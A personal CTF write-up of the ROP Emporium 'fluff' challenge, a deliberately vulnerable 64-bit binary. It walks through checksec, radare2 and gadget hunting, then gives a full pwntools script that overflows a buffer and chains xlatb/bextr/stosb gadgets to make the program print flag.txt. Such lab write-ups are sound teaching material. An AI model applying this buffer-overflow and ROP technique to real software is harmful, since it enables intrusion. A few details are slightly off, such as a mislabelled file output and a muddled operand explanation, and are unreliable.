ROP Emporium Writeup – fluff

# Information:

CTF Name: ROP Emporium

CTF Challenge: fluff

Challenge Category: Binary Exploitation

Challenge Points: N/A

Level 6 ROP Emporium

# Used Tools:

# Challenge Description:

For the full challenge description go here.  

They also provide a zip file. For:

Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.  

# Writeup

In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack.  

Below I will layout the steps that I took to solve this challenge.  

Step 1

I decided to start by gathering more information about the binary file, to so so I did the following command:

 mregra on Cyber $ file fluff
 write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
 mregra on Cyber $ 

The binary is a ELF executable for 64-bit architecture. As expected.  

Step 2

Now I will verify the security of this binary file, by doing:  

 mregra on Cyber $ checksec fluff
 [*] '/home/mregra/CTF_Code/ROP_Emporium/fluff/fluff'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
 mregra on Cyber $ 

In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.

Note: It is possible that for a different version of checksec you need to use: checksec –file=fluff.

Let’s move on to the next step.

Step 3

Afterward, I decided to run the program and see its behavior, this was the result:

We have an input field. After entering “input” it ended the program, quite simple. Considering that we have an input field and that we do not have canaries protection it is probably possible to overflow a buffer, let’s check on radare2 if that is the case.  

Step 4

As said before lets see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:  

With this we have some important information. In particular We now know the address of the functions of this program, for example:

Similarly to the previous challenge, the badchars we wanted to find a function that would allow us to perform a cat flag.txt or something like that. Let’s analyse the usefulFunction first to see if we can find their what we are looking for:

The usefulFunction

As you can see, in the address 0x00400620 we have a call to the print_file function. However, it is a PLT entry so to make sure we have the correct address lets go a little bit deeper. As you can see, the correct address is in fact: 0x00400510:

Ok, so now, to be able to create our exploit we still need a few things. In particular we need a way to write the string “flag.txt” and pass it as argument to the print_file function. We cannot use anything present in the binary. This is the reason why we have to insert the string manually, but where and how?  

Step 6

To be able to write the  string “flag.txt” and pass it as argument we need ROP gadgets. To get these gadgets I used the ROPgadget tool as presented below:  

This filter is restricting everything to much, the part [–only “mov|pop|ret|xor”], in fact, compared to the previous ROP Emporium challenges, with just this gadgets we cannot create a ROP chain (at least I do not know how… XD). However, we have an hint that suggest that we check the questionableGadgets. To do so, I went back to radare2 and ran the following command:

Okay, now let’s check the questionableGadgets virtual address (vaddr):

Okay, maybe this is enough now. Lets check what each instruction does.

  • xlatb: Apparently, this operation uses the AL register contents (which is the least significant bytes of the least significant half of the RAX registry) to locate an entry in a table in memory, the RBX register to be precise, then it copies the contents of the table back to the AL register, so with this operation we control the AL register.
  • bextr: From the reference: “Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand)”. We can use this one to control the RBX register (by looking at the full instruction in the image above)
  • stosb: This operation stores a byte from the AL register (in our case) into RDI.

We now understand better the gadgets above. Let’s now create a strategy:

  • We want to use the RDI register to store the string “flag.txt”. To be able to write in the RDI we can only use the stosb operation that requires us to control the AL register, for that we can use the xlatb. But, as you know, the xlatb instruction, uses the contents in RBX register, therefore, we need to control that register as well. To control the RBX register, we have the bextr operation.

Let’s now enumerate the gadgets that we need:

  1. We need a way to move the string “flag.txt” into a register, to do so we can use the gadgets:
    1. 0x0000000000400639 : stosb byte ptr [rdi], al ; ret
    2. 0x0000000000400628 : xlatb ; ret
    3. 0x0000000000400633 : bextr rbx, rcx, rdx ; ret
    4. 0x00000000004006a3 : pop rdi ; ret

We still need an address to store the string. To get this address I decided to do the following:

This tool, the readelf tool displays information regarding the binary file. Among several things, it can help us find a place to store the string. The flag -S is simply used to filter the output to only display the headers section. To choose one that we can use, we need one that would allow us to write and we need to make sure that doing so will not corrupt anything relevant. As you can see we can use the .data address because of the size and the fact that the WA flags.

To recap, the address is: 0x00601028

Let’s summarize what we have so far:

  • We have the print_file correct address:
  • We have a way to write the string into a register by using weird and new to me gadgets and a .data entry:
    • 0x0000000000400639 : stosb byte ptr [rdi], al ; ret
    1. 0x0000000000400628 : xlatb ; ret
    2. 0x0000000000400633 : bextr rbx, rcx, rdx ; ret
    3. 0x00000000004006a3 : pop rdi ; ret
    • 0x00601028: data address

We just need to know the buffer overflow offset. From the previous ROP Emporium exercises the offset was always 40, so I assumed it was the same this time and it was, so let’s jump into the exploit!

Step 7

I decided once again to use Python 3. Below you can find the script:  

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

elf = ELF('fluff')                 #context.binary

junk = b"A"*40   

writeable_address = 0x0000000000601028

pop_rdx_rcx_add_rcx_bextr_ret_gadget = 0x000000000040062a

xlatb_ret = 0x0000000000400628

pop_rdi_ret = 0x00000000004006a3

stosb = 0x0000000000400639

const_to_subtract = 0x3ef2

print_file = 0x00400510

flag_string = b"flag.txt"
char_locations = []

for char in flag_string:
      char_address = hex(read('fluff').find(char) + elf.address)
      char_locations.append(char_address)

current_rax = 0xb

p = process(elf.path)

junk = b"A"*40

prepare_string = b""

for i, char_locations in enumerate(char_locations):
      if(i != 0):
            current_rax = flag_string[i-1]

      prepare_string += p64(pop_rdx_rcx_add_rcx_bextr_ret_gadget)
      prepare_string += p64(0x4000)
      prepare_string += p64(int(char_locations, 16) - current_rax - 0x3ef2)
      prepare_string += p64(xlatb_ret)
      prepare_string += p64(pop_rdi_ret)
      prepare_string += p64(writeable_address + i)
      prepare_string += p64(stosb)

payload = junk + prepare_string + p64(pop_rdi_ret) + p64(writeable_address) + p64(print_file)
# Send the payload

p.sendline(payload)                 #send the payload to the process

p.interactive()

In this script, I started by using the ELF functions to encapsulate the information about the ELF file given as an argument, the fluff in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.

The payload was created by simply using the addresses described above. I also decided to use the locations present in the executable that had the characters of the string “flag.txt”. Finally, I used the 0x3ef2 to subtract the added values in the gadget of bextr.

We need to know the current RAX (which is 0xb because we need to remove for the first iteration of the second loop that value, and for the iterations after that the same thing.

The line 41 is necessary because we need to pass a length of 40, which is 64 bits, as you know, for the bextr command we need to provide a length and that is it. Basically, this extracts 64 bits from offset 0 in RCX.

Then, I simply run the script, here is the result:  


The Python 3 script source code can be found here.

Thank you very much for reading!

Cheers,

MRegra


Share this post:

Popular posts

Leave a Reply

Your email address will not be published. Required fields are marked *